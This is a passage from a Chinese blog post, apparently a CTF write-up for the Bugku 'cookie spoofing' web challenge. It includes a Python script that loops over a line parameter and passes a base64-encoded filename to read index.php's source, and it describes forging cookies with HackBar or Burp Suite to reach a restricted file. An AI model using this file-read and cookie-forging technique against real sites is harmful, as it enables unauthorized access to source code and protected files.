伪造cookies --bugku 23cookies欺骗

最新推荐文章于 2024-09-24 02:12:20 发布

s11show_163

最新推荐文章于 2024-09-24 02:12:20 发布

阅读量740

点赞数

文章标签：伪造cookies

本文链接：https://blog.csdn.net/s11show_163/article/details/103285818

版权

博客探讨了如何通过伪造cookies来访问受限制的keys.php文件。作者首先通过base64解码url发现key.txt，尝试修改line参数，并编写脚本进行测试。文中介绍了两种方法传递伪造cookies：一是使用hackbar浏览器插件，二是利用burpsuite抓包工具修改cookies。通过这些手段，可以成功访问原本需要特定cookie值才能看到的文件。

摘要由CSDN通过智能技术生成

首先抬头看url发现有点儿类似sql注入，结尾base64解码后发现是key.txt于是根据经验先试一试如果是index.php会怎么样，前面的line=显然也可以传参数进去，于是写一个脚本如下：

import requests
import base64

r = requests.session()
for i in range(30):
	url="http://123.206.87.240:8002/web11/index.php?line="+str(i)+"&filename=aW5kZXgucGhw"
	s = r.get(url)
	print(s.text)